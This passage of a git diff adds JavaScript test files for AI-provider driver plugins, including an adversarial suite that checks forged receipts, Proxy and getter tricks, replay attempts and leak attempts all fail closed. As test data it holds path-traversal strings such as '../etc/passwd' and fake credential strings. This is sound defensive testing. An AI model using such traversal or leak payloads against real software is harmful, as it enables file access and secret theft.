context.created.controls.submitAttentionReply(context.replyRequest()), + 'reply_already_attempted', 'a second reply on the same question is denied'); + assert.equal(context.stub.state.replies, 1, 'no second reply ever reaches the transport'); + + const settled = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(settled.disposition, 'in_progress', + 'the lane resumes normal observation after the answer'); + const finished = context.bound.reconcile(context.request('reconcile')); + assert.equal(finished.disposition, 'terminal'); +}); + +test('reply refuses mismatches without consuming the attempt or touching the transport', () => { + const context = create('attention'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ question_id: 'q-other-9' }), + ), 'question_mismatch', 'a different question is refused'); + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ session_id: 'sess-unrelated' }), + ), 'uncorrelated_session', 'an uncorrelated session is refused'); + assert.equal(context.stub.state.replies, 0, 'refusals never reach the transport'); + const receipt = context.created.controls.submitAttentionReply(context.replyRequest()); + assert.equal(receipt.answered, true, 'the one attempt remains available after refusals'); +}); + +test('reply postures are pinned by the accepted P05 bridge and refuse contradiction at birth', () => { + // The accepted P17 capability bridge pins cursor-local to + // live_session_reply, so an unsupported-reply driver cannot even be + // constructed; submitAttentionReply still refuses explicitly should a + // posture ever reach it. + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration({ + same_session_reply: 'unsupported_unresolved_attention', + }), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: createCursorLocalTransportStub('attention').transport, + }), 'capability_reply_mismatch', + 'the P05 bridge refuses a cursor-local declaration that denies live replies'); +}); + +test('evidence drains as bounded frozen segments that match their byte accounting', () => { + const context = create('flood'); + dispatch(context); + const empty = context.created.controls.readEvidence(context.evidenceRequest()); + assert.equal(empty.total_bytes, 0); + assert.equal(empty.truncated, false); + + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(context.evidenceRequest()); + assert.equal(drained.schema, CURSOR_LOCAL_EVIDENCE_SCHEMA_ID); + assert.equal(drained.version, PROVIDER_DRIVER_VERSION); + assert.ok(drained.total_bytes > 0, 'progress text was captured'); + let summed = 0; + for (const segment of drained.events) { + assert.ok(Object.isFrozen(segment), 'segments are frozen'); + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound'); + assert.ok(EVIDENCE_KINDS.includes(segment.kind), 'closed segment kind'); + summed += segment.bytes; + } + assert.equal(summed, drained.total_bytes, 'byte accounting matches the segments'); + assert.ok(drained.total_bytes <= MAX_LANE_EVIDENCE_BYTES, 'lane byte bound'); + assert.ok(drained.events.length <= MAX_EVIDENCE_EVENTS, 'event count bound'); + assert.ok(Object.isFrozen(drained.events)); + const again = context.created.controls.readEvidence(context.evidenceRequest()); + assert.deepEqual(again, drained, 'draining is stable and non-consuming'); + + // Short observation tails stay inside the persistent redaction window + // (so signatures cannot recombine across reconciliations) and become + // host-visible at the terminal latch flush. + const tail = create('happy'); + dispatch(tail); + tail.bound.reconcile(tail.request('reconcile', { include: INCLUDE_ALL })); + const beforeLatch = tail.created.controls.readEvidence(tail.evidenceRequest()); + assert.equal(beforeLatch.total_bytes, 0, + 'a sub-window tail stays withheld while the lane runs'); + tail.bound.reconcile(tail.request('reconcile')); + const latched = tail.created.controls.readEvidence(tail.evidenceRequest()); + assert.ok(latched.total_bytes > 0, 'the terminal latch flushes the withheld tail'); + let latchedSum = 0; + for (const segment of latched.events) latchedSum += segment.bytes; + assert.equal(latchedSum, latched.total_bytes); +}); + +test('restart_reattach reattaches to the identical session without respawning', () => { + const context = create('happy'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const reattached = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach', include: INCLUDE_ALL })); + assert.ok(reattached.disposition === 'terminal' || reattached.disposition === 'in_progress', + 'restart_reattach observes the existing dispatch'); + assertIdentityEcho(reattached, 'restart_reattach'); + assert.equal(context.stub.state.spawnCalls, 1, 'restart_reattach never spawns again'); + assert.equal(context.stub.state.sends, 1, 'restart_reattach never redispatches'); +}); + +test('unsupported feature declarations fail closed on the operations that need them', () => { + const cancelling = create('happy', { features: { cancellation: 'unsupported' } }); + dispatch(cancelling); + expectCode(() => cancelling.bound.cancel(cancelling.request('cancel')), + 'unsupported_capability', 'cancellation declared unsupported fails closed'); + + const restarting = create('happy', { features: { restart: 'unsupported' } }); + dispatch(restarting); + expectCode(() => restarting.bound.reconcile( + restarting.request('reconcile', { intent: 'restart_reattach' }), + ), 'unsupported_capability', 'restart declared unsupported fails closed'); +}); + +test('control requests are quarantined by the same closed schema discipline', () => { + const context = create('attention'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + + expectCode(() => context.created.controls.readEvidence({ + ...context.evidenceRequest(), extra: true, + }), 'unknown_key', 'evidence requests reject unknown keys'); + expectCode(() => context.created.controls.submitAttentionReply({ + ...context.replyRequest(), fallback: 'again', + }), 'unknown_key', 'reply requests reject fallback-shaped foreign keys'); + const missing = context.replyRequest(); + delete missing.answer_text; + expectCode(() => context.created.controls.submitAttentionReply(missing), 'missing_key', + 'reply requests derive nothing'); + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ answer_text: '' }), + ), 'invalid_answer', 'empty answers are refused before the attempt'); +}); diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs new file mode 100644 index 0000000..47b42ec --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs @@ -0,0 +1,677 @@ +// Adversarial tests for the P20 DSH ACPX provider driver: hostile direct-JS +// options/transport surfaces, forged and malformed recorded-evidence +// receipts, replay/resend/fallback/substitution hostilities, pre-spawn +// marker forgery, bounds abuse, and content-leak attempts. Every case must +// fail closed with a stable typed code, must never execute caller code from +// hostile descriptors, and must never advance a lane toward a second dispatch. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { createDshApxDriverV1 } from '../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + dshManifest, + LEAK_MARKER, + MUSE_MODEL, + OX_MODEL, + createFixtureDriver, + dispatchLane, + dshEnvelope, + fakeDshTransport, + readyIdentity, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; + +function expectCode(fn, code, message) { + // A wildcard (undefined) code accepts any typed contract denial. + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +function requestFor(fixture, operation, overrides = {}, mutate) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...overrides, + }; + if (mutate) mutate(request); + return request; +} + +test('factory options reject proxies, accessors, symbols, and forbidden authorities without running traps', () => { + const base = () => fakeDshTransport(); + let getterRuns = 0; + const accessorOptions = () => { + const options = { transport: base().port, workspace_mode: 'managed' }; + Object.defineProperty(options, 'workspace_mode', { + enumerable: true, + get() { + getterRuns += 1; + return 'managed'; + }, + }); + return options; + }; + expectCode(() => createDshApxDriverV1(accessorOptions()), 'invalid_object', + 'accessor options are not enumerable data properties'); + assert.equal(getterRuns, 0, 'option getters must never run during validation'); + + expectCode(() => createDshApxDriverV1(new Proxy({ transport: base().port, workspace_mode: 'managed' }, {})), + 'proxy_denied'); + const revocable = Proxy.revocable({ transport: base().port, workspace_mode: 'managed' }, {}); + revocable.revoke(); + expectCode(() => createDshApxDriverV1(revocable.proxy), 'proxy_denied'); + + const symbolOptions = { transport: base().port, workspace_mode: 'managed' }; + symbolOptions[Symbol('hidden')] = 'x'; + expectCode(() => createDshApxDriverV1(symbolOptions), 'invalid_object', + 'symbol keys are not string data keys'); + + const hiddenOptions = { transport: base().port, workspace_mode: 'managed' }; + Object.defineProperty(hiddenOptions, 'transport', { enumerable: false, value: base().port }); + expectCode(() => createDshApxDriverV1(hiddenOptions), 'invalid_object'); + + for (const [label, options] of Object.entries({ + 'missing workspace_mode': { transport: base().port }, + 'direct mode': { transport: base().port, workspace_mode: 'direct' }, + 'invented mode': { transport: base().port, workspace_mode: 'provider_managed' }, + 'merge authority': { transport: base().port, workspace_mode: 'managed', allow_merge: true }, + 'create pr': { transport: base().port, workspace_mode: 'managed', create_pr: true }, + 'fallback provider': { transport: base().port, workspace_mode: 'managed', fallback_provider: 'grok' }, + 'retry budget': { transport: base().port, workspace_mode: 'managed', retry_dispatch: 3 }, + 'missing transport': { workspace_mode: 'managed' }, + 'null transport': { transport: null, workspace_mode: 'managed' }, + 'clock proxy': { transport: base().port, workspace_mode: 'managed', now: new Proxy(() => 0, {}) }, + 'clock object': { transport: base().port, workspace_mode: 'managed', now: {} }, + })) { + expectCode(() => createDshApxDriverV1(options), undefined, `${label} must be denied`); + } +}); + +test('direct-mode and merge-authority keys on driver requests keep their shared denial codes', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const [key, value, code] of [ + ['workspace_mode', 'direct', 'direct_mode_rejected'], + ['direct_mode', true, 'direct_mode_rejected'], + ['allow_merge', true, 'merge_authority_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_post_dispatch_fallback', true, 'replay_or_fallback_denied'], + ['relaunch_attempts', 2, 'unknown_key'], + ['reply', { session_id: 's', response: 'hi' }, 'unknown_key'], + ['new_session', true, 'unknown_key'], + ]) { + expectCode( + () => validateDriverLaunchRequestV1(requestFor(fixture, 'launch', { [key]: value })), + code, `${key} must be denied with ${code}`); + } +}); + +test('digest-only launches and tampered envelopes stay denied through the accepted contract', () => { + const fixture = dshEnvelope(MUSE_MODEL); + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + + const flipped = `${fixture.child_envelope_digest.slice(0, 63)}${fixture.child_envelope_digest.endsWith('0') ? '1' : '0'}`; + expectCode(() => validateDriverLaunchRequestV1(requestFor(fixture, 'launch', { + child_envelope_digest: flipped, + })), 'child_envelope_digest_mismatch'); + + const tampered = `${fixture.envelope_text.slice(0, -1)}x`; + // The strict parser denies the damaged bytes with its own typed code. + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: tampered, + child_envelope_digest: fixture.child_envelope_digest, + }), undefined, 'tampered envelope bytes must be denied'); +}); + +test('forged spawn receipts degrade to honest uncertainty instead of a resend', () => { + for (const [label, receipt] of Object.entries({ + 'bad grammar': { session_ref: '../escape' }, + 'empty ref': { session_ref: '' }, + 'oversized ref': { session_ref: `s${'x'.repeat(200)}` }, + 'wrong type': { session_ref: 42 }, + 'extra key': { session_ref: 'sess-ok-0001', pid: 7 }, + 'accessor': (() => { + const receipt = {}; + Object.defineProperty(receipt, 'session_ref', { + enumerable: true, get() { return 'sess-ok-0001'; }, + }); + return receipt; + })(), + })) { + const transport = fakeDshTransport({ spawnReceipts: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.launch.disposition, 'dispatch_uncertain', + `forged spawn receipt (${label}) must stay uncertain`); + expectCode(() => lane.launchAgain(), 'replay_denied', label); + assert.equal(transport.counts().spawn, 1, `no resend after forged receipt (${label})`); + } +}); + +test('pre-spawn markers cannot be forged through getters or exotic prototypes', () => { + const getterMarked = {}; + Object.defineProperty(getterMarked, 'phase', { + enumerable: true, get() { return 'prespawn'; }, + }); + Object.defineProperty(getterMarked, 'code', { enumerable: true, value: 'port_denied' }); + + const subclassed = Object.assign(new (class PortError extends Error {})('nope'), { + phase: 'prespawn', code: 'port_denied', + }); + + const phaseOnly = Object.assign(new Error('half marked'), { phase: 'prespawn' }); + const codeGetter = Object.assign(new Error('getter code'), { phase: 'prespawn' }); + Object.defineProperty(codeGetter, 'code', { enumerable: true, get() { return 'port_denied'; } }); + + for (const [label, error] of Object.entries({ + getterPhase: getterMarked, + subclassedPrototype: subclassed, + phaseOnly, + getterCode: codeGetter, + stringThrown: 'prespawn', + plainMarker: { phase: 'prespawn', code: 'PORT-DENIED' }, + })) { + const transport = fakeDshTransport({ throwOnSpawn: () => error }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.launch.disposition, 'dispatch_uncertain', + `unprovable pre-spawn marker (${label}) must stay uncertain`); + assert.notEqual(lane.launch.detail_code, 'transport_prespawn_denied', label); + } +}); + +test('total post-dispatch transport failure never unlocks a replay or a substitution', () => { + const fixture = dshEnvelope(OX_MODEL); + const transport = fakeDshTransport({ + throwOnPoll: () => new Error('evidence vanished'), + throwOnEvents: () => new Error('evidence vanished'), + throwOnCancel: () => new Error('control channel gone'), + }); + const driver = createFixtureDriver(OX_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + + // Observation loss is honest uncertainty, never a terminal invention. + assert.equal(lane.reconcile({ intent: 'restart_reattach' }).disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile({ include: ['live_progress'] }).detail_code, 'evidence_absent'); + + // Cancellation stays typed-unresolved and may be retried as control plane. + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + + // And the lane still refuses any relaunch or provider/model substitution. + expectCode(() => lane.launchAgain(), 'replay_denied'); + + const museManifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + museManifest.assignments[0].assignment_id = fixture.assignment_id; + const museEnvelope = compileChildEnvelopeV1(museManifest, fixture.assignment_id); + expectCode(() => driver.driver.preflight(requestFor(museEnvelope && { + ...fixture, + envelope_text: museEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(museEnvelope).digest, + }, 'preflight')), 'stale_identity_denied', + 'the same lane cannot be re-preflighted onto another model after dispatch'); +}); + +test('malformed poll receipts fail closed with typed codes and never advance the lane', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const goodReceipt = (request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + }); + const cases = { + 'unknown state': (request) => ({ ...goodReceipt(request), state: 'zombie' }), + 'stop reason on running': (request) => ({ ...goodReceipt(request), stop_reason: 'end_turn' }), + 'question on running': (request) => ({ ...goodReceipt(request), question_ref: 'q-1' }), + 'bad question grammar': (request) => ({ + ...goodReceipt(request), state: 'needs_attention', question_ref: '../etc/passwd', + }), + 'event count float': (request) => ({ ...goodReceipt(request), event_count: 1.5 }), + 'cursor over bound': (request) => ({ ...goodReceipt(request), cursor: 1_000_000_001 }), + 'updated at over bound': (request) => ({ ...goodReceipt(request), updated_at_ms: 5e12 }), + 'uppercase digest': (request) => ({ + ...goodReceipt(request), + child_envelope_digest: request.correlation.child_envelope_digest.toUpperCase(), + }), + 'missing state': (request) => { + const receipt = goodReceipt(request); + delete receipt.state; + return receipt; + }, + 'extra key': (request) => ({ ...goodReceipt(request), raw: 'provider output text' }), + 'own undefined': (request) => { + const receipt = goodReceipt(request); + receipt.question_ref = undefined; + return receipt; + }, + 'null receipt': () => null, + 'array receipt': () => [], + 'leak attempt': (request) => ({ + ...goodReceipt(request), state: 'needs_attention', + question_ref: `q-${LEAK_MARKER}`, + leak_attempt: `${LEAK_MARKER} provider-authored text`, + }), + }; + for (const [label, receipt] of Object.entries(cases)) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), undefined, `poll receipt (${label}) must be denied`); + const counts = transport.counts(); + assert.equal(counts.spawn, 1); + // The lane was untouched by the denied observation; a healthy port still reconciles. + } + const healed = fakeDshTransport({ polls: [goodReceipt] }); + const healedDriver = createFixtureDriver(MUSE_MODEL, healed); + const healedLane = dispatchLane(healedDriver.driver, fixture); + assert.equal(healedLane.reconcile().disposition, 'in_progress'); +}); + +test('hostile event pages are rejected wholesale and leak nothing', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const pageWith = (records, nextCursorDelta = 0) => [(request) => ({ + records, + next_cursor: request.cursor + nextCursorDelta + records.length, + truncated: false, + })]; + const cases = { + 'sparse records': [(request) => { + const records = [{ seq: request.cursor + 1, kind: 'status', bytes: 1 }]; + records[5] = { seq: request.cursor + 9, kind: 'status', bytes: 1 }; + return { records, next_cursor: request.cursor + 10, truncated: false }; + }], + 'record extra key': pageWith([{ seq: 1, kind: 'status', bytes: 1, text: LEAK_MARKER }]), + 'record unknown kind': pageWith([{ seq: 1, kind: 'raw_output', bytes: 1 }]), + 'record negative bytes': pageWith([{ seq: 1, kind: 'status', bytes: -1 }]), + 'record bytes over bound': pageWith([{ seq: 1, kind: 'status', bytes: 4097 }]), + 'record non-increasing seq': pageWith([ + { seq: 1, kind: 'status', bytes: 1 }, { seq: 1, kind: 'status', bytes: 1 }, + ]), + 'record accessor': pageWith([(() => { + const record = {}; + Object.defineProperty(record, 'seq', { enumerable: true, get() { return 1; } }); + record.kind = 'status'; + record.bytes = 1; + return record; + })()]), + 'truncated non-boolean': [(request) => ({ + records: [], next_cursor: request.cursor, truncated: 'yes', + })], + 'next cursor backwards': [(request) => ({ + records: [], next_cursor: -1, truncated: false, + })], + 'aliased records': [(request) => { + const shared = { seq: request.cursor + 1, kind: 'status', bytes: 1 }; + return { records: [shared, shared], next_cursor: request.cursor + 2, truncated: false }; + }], + }; + for (const [label, eventPages] of Object.entries(cases)) { + const transport = fakeDshTransport({ polls: [{ state: 'running' }], eventPages }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile({ include: ['detailed_events'] }), undefined, label); + const serialized = JSON.stringify([...transport.calls.poll]); + assert.ok(!serialized.includes(LEAK_MARKER), label); + } +}); + +test('identity receipts cannot smuggle unavailable reasons past validation', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const preflightRequest = requestFor(fixture, 'preflight'); + const cases = { + 'bogus reason': { ready: false, reason: 'operator_felt_tired' }, + 'reason on ready': readyIdentity({ reason: 'config_unavailable' }), + 'relative config path': readyIdentity({ config_path: 'relative/dsh-acp.yml' }), + 'windows path': readyIdentity({ config_path: '\\\\server\\share\\dsh-acp.yml' }), + 'short digest': readyIdentity({ config_sha256: 'abc' }), + 'credential source env file hybrid': readyIdentity({ credential_source: 'both' }), + 'ready not boolean': { ...readyIdentity({}), ready: 'true' }, + 'proxy receipt': new Proxy(readyIdentity(), {}), + }; + for (const [label, identity] of Object.entries(cases)) { + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ identity: () => identity })); + expectCode(() => driver.driver.preflight(preflightRequest), undefined, `identity (${label})`); + } +}); + +test('cancel receipts are held to the same closed shape', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const [label, cancelReceipts] of Object.entries({ + 'unknown outcome': [{ outcome: 'maybe' }], + 'missing outcome': [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + })], + 'outcome wrong type': [{ outcome: 1 }], + 'foreign session': [{ + outcome: 'confirmed', session_ref: 'sess-other-0001', + }], + 'accessor outcome': [(() => { + const build = (request) => { + const built = { session_ref: request.session_ref, ...request.correlation }; + Object.defineProperty(built, 'outcome', { + enumerable: true, get() { return 'confirmed'; }, + }); + return built; + }; + return build; + })()], + })) { + const transport = fakeDshTransport({ cancelReceipts }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.cancel(), undefined, `cancel receipt (${label})`); + } +}); + +test('bounds abuse fails closed: oversized lanes, budgets, cursors, and timing', () => { + const fixture = dshEnvelope(MUSE_MODEL); + + // Lane budget. + const fleet = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + for (let index = 0; index < 64; index += 1) { + const laneFixture = dshEnvelope(MUSE_MODEL, `fleet-${String(index).padStart(2, '0')}`); + fleet.driver.preflight(requestFor(laneFixture, 'preflight')); + } + expectCode(() => fleet.driver.preflight(requestFor(dshEnvelope(MUSE_MODEL, 'fleet-over'), 'preflight')), + 'lane_budget_exceeded'); + + // Cursor abuse through a receipt that claims an impossible cursor. + const cursorAbuse = fakeDshTransport({ + polls: [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'running', event_count: 1025, cursor: 2_000_000_000, updated_at_ms: 10, + })], + }); + const cursorDriver = createFixtureDriver(MUSE_MODEL, cursorAbuse); + const cursorLane = dispatchLane(cursorDriver.driver, fixture); + expectCode(() => cursorLane.reconcile(), 'invalid_format'); + + // Clock abuse: NaN and out-of-range readings deny before any transport call. + for (const clock of [() => Number.NaN, () => 4102444800001]) { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: clock }); + expectCode(() => driver.driver.preflight(requestFor(fixture, 'preflight')), 'invalid_format'); + assert.equal(transport.counts().configIdentity, 0); + } + + // A throwing clock denies too. + const throwingClock = fakeDshTransport(); + const throwingDriver = createFixtureDriver(MUSE_MODEL, throwingClock, { + now: () => { + throw new Error('clock exploded'); + }, + }); + expectCode(() => throwingDriver.driver.preflight(requestFor(fixture, 'preflight')), 'invalid_format'); + assert.equal(throwingClock.counts().configIdentity, 0); +}); + +test('the ox-alpha lane rejects muse-model evidence and vice versa', () => { + for (const model of [MUSE_MODEL, OX_MODEL]) { + const otherModel = model === MUSE_MODEL ? OX_MODEL : MUSE_MODEL; + const fixture = dshEnvelope(model); + const corruptedModel = (request) => ({ + session_ref: request.session_ref, + ...request.correlation, + model: otherModel, + }); + const transport = fakeDshTransport({ + polls: [(request) => ({ + ...corruptedModel(request), + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + })], + cancelReceipts: [(request) => ({ ...corruptedModel(request), outcome: 'confirmed' })], + }); + const driver = createFixtureDriver(model, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), 'dsh_correlation_mismatch', + `${otherModel} evidence must not serve a ${model} lane`); + expectCode(() => lane.cancel(), 'dsh_correlation_mismatch'); + } +}); + +test('latched terminal evidence denies the exact hostile non-terminal regressions', () => { + const sequences = [ + { + label: 'completed->running', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'running' }, + }, + { + label: 'completed->absent', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'absent' }, + }, + { + label: 'failed->running', + terminal: { kind: 'reconcile', receipt: { state: 'failed', stop_reason: 'error' } }, + hostile: { state: 'running' }, + }, + { + label: 'cancelled->accepted', + terminal: { kind: 'reconcile', receipt: { state: 'cancelled', stop_reason: 'cancelled' } }, + hostile: { state: 'accepted' }, + }, + { + label: 'completed->needs_attention', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'needs_attention', question_ref: `q-${LEAK_MARKER}` }, + }, + { + label: 'cancel_confirmed->running', + terminal: { kind: 'cancel', receipt: { outcome: 'confirmed' } }, + hostile: { state: 'running' }, + }, + { + label: 'already_terminal->running', + terminal: { kind: 'cancel', receipt: { outcome: 'already_terminal' } }, + hostile: { state: 'running' }, + }, + ]; + for (const sequence of sequences) { + const transport = sequence.terminal.kind === 'reconcile' + ? fakeDshTransport({ polls: [sequence.terminal.receipt, sequence.hostile] }) + : fakeDshTransport({ + cancelReceipts: [sequence.terminal.receipt], + polls: [sequence.hostile], + }); + const fixture = dshEnvelope(MUSE_MODEL); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + if (sequence.terminal.kind === 'reconcile') { + const first = lane.reconcile(); + assert.equal(first.disposition, 'terminal', sequence.label); + assert.notEqual(first.disposition, 'in_progress', sequence.label); + assert.notEqual(first.disposition, 'dispatch_uncertain', sequence.label); + assert.notEqual(first.disposition, 'unresolved_attention', sequence.label); + } else { + const first = lane.cancel(); + const expected = sequence.terminal.receipt.outcome === 'confirmed' + ? 'cancel_confirmed' : 'already_terminal'; + assert.equal(first.disposition, expected, sequence.label); + } + const eventsBefore = transport.counts().events; + expectCode(() => lane.reconcile({ include: ['live_progress'] }), + 'terminal_regression_denied', sequence.label); + expectCode(() => lane.launchAgain(), 'replay_denied', sequence.label); + const oxManifest = JSON.parse(JSON.stringify(dshManifest(OX_MODEL))); + oxManifest.assignments[0].assignment_id = fixture.assignment_id; + const oxEnvelope = compileChildEnvelopeV1(oxManifest, fixture.assignment_id); + expectCode(() => driver.driver.preflight(requestFor({ + ...fixture, + envelope_text: oxEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(oxEnvelope).digest, + }, 'preflight')), 'stale_identity_denied', sequence.label); + expectCode(() => lane.reconcile({ + include: ['live_progress'], + intent: 'restart_reattach', + reply: { session_id: 's', response: 'answered' }, + }), undefined, `${sequence.label} replacement prompt/answer is denied`); + assert.equal(transport.counts().spawn, 1, `${sequence.label} must not spawn again`); + assert.equal(transport.counts().events, eventsBefore, + `${sequence.label} must not read events or answer attention after the regression`); + } +}); + +test('post-terminal cancel is local already_terminal even if the port would throw', () => { + const sequences = [ + { + label: 'completed then cancel', + kind: 'reconcile', + poll: { state: 'completed', stop_reason: 'end_turn' }, + }, + { + label: 'failed then cancel', + kind: 'reconcile', + poll: { state: 'failed', stop_reason: 'error' }, + }, + { + label: 'cancelled then cancel', + kind: 'reconcile', + poll: { state: 'cancelled', stop_reason: 'cancelled' }, + }, + { + label: 'cancel_confirmed then cancel', + kind: 'cancel', + cancelOutcome: 'confirmed', + }, + { + label: 'provider already_terminal then cancel', + kind: 'cancel', + cancelOutcome: 'already_terminal', + }, + ]; + for (const sequence of sequences) { + let sealed = false; + const denySealed = (channel) => { + if (sealed) throw new Error(`${sequence.label} must not call ${channel}`); + }; + const transport = fakeDshTransport({ + identity: () => { + denySealed('configIdentity'); + return readyIdentity(); + }, + spawnReceipts: [() => { + denySealed('spawn'); + return { session_ref: 'sess-ok-0001' }; + }], + polls: [(request) => { + denySealed('poll'); + return { + session_ref: request.session_ref, ...request.correlation, + event_count: 1, cursor: 1, updated_at_ms: 10, + ...sequence.poll, + }; + }], + eventPages: [(request) => { + denySealed('events'); + return { records: [], next_cursor: request.cursor, truncated: false }; + }], + cancelReceipts: [(request) => { + denySealed('cancel'); + return { + session_ref: request.session_ref, ...request.correlation, + outcome: sequence.cancelOutcome ?? 'confirmed', + }; + }], + }); + const fixture = dshEnvelope(MUSE_MODEL); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + if (sequence.kind === 'reconcile') { + assert.equal(lane.reconcile().disposition, 'terminal', sequence.label); + } else { + const expected = sequence.cancelOutcome === 'confirmed' + ? 'cancel_confirmed' : 'already_terminal'; + assert.equal(lane.cancel().disposition, expected, sequence.label); + } + const before = transport.counts(); + sealed = true; + const later = lane.cancel(); + assert.equal(later.disposition, 'already_terminal', sequence.label); + assert.equal(later.detail_code, 'already_terminal', sequence.label); + assert.deepEqual(transport.counts(), before, + `${sequence.label} must make zero configIdentity/cancel/poll/events/spawn calls`); + expectCode(() => lane.launchAgain(), 'replay_denied', sequence.label); + } +}); + +test('cancel_requested is not a terminal latch and a later cancel still hits the port', () => { + let sealed = false; + const outcomes = ['requested', 'confirmed']; + const transport = fakeDshTransport({ + identity: () => { + if (sealed) throw new Error('cancel_requested must not skip identity'); + return readyIdentity(); + }, + cancelReceipts: [(request, callIndex) => { + if (sealed) throw new Error('cancel_requested must not skip cancel'); + return { + session_ref: request.session_ref, ...request.correlation, + outcome: outcomes[Math.min(callIndex - 1, outcomes.length - 1)], + }; + }], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.cancel().disposition, 'cancel_requested'); + const afterRequested = transport.counts(); + const second = lane.cancel(); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transport.counts().cancel, afterRequested.cancel + 1); + assert.equal(transport.counts().configIdentity, afterRequested.configIdentity + 1); + sealed = true; + const beforeLocal = transport.counts(); + const third = lane.cancel(); + assert.equal(third.disposition, 'already_terminal'); + assert.deepEqual(transport.counts(), beforeLocal); +}); + +test('results never carry provider-authored text even from deeply hostile transports', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const hostileText = `${LEAK_MARKER} token sk-abc123defghijk password=hunter2 AKIAIOSFODNN7EXAMPLE`; + const transport = fakeDshTransport({ + polls: [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'needs_attention', + event_count: 3, cursor: 3, updated_at_ms: 20, + question_ref: `q-${LEAK_MARKER}`, + })], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, (_, index) => ({ + seq: index + 1, kind: 'text_delta', 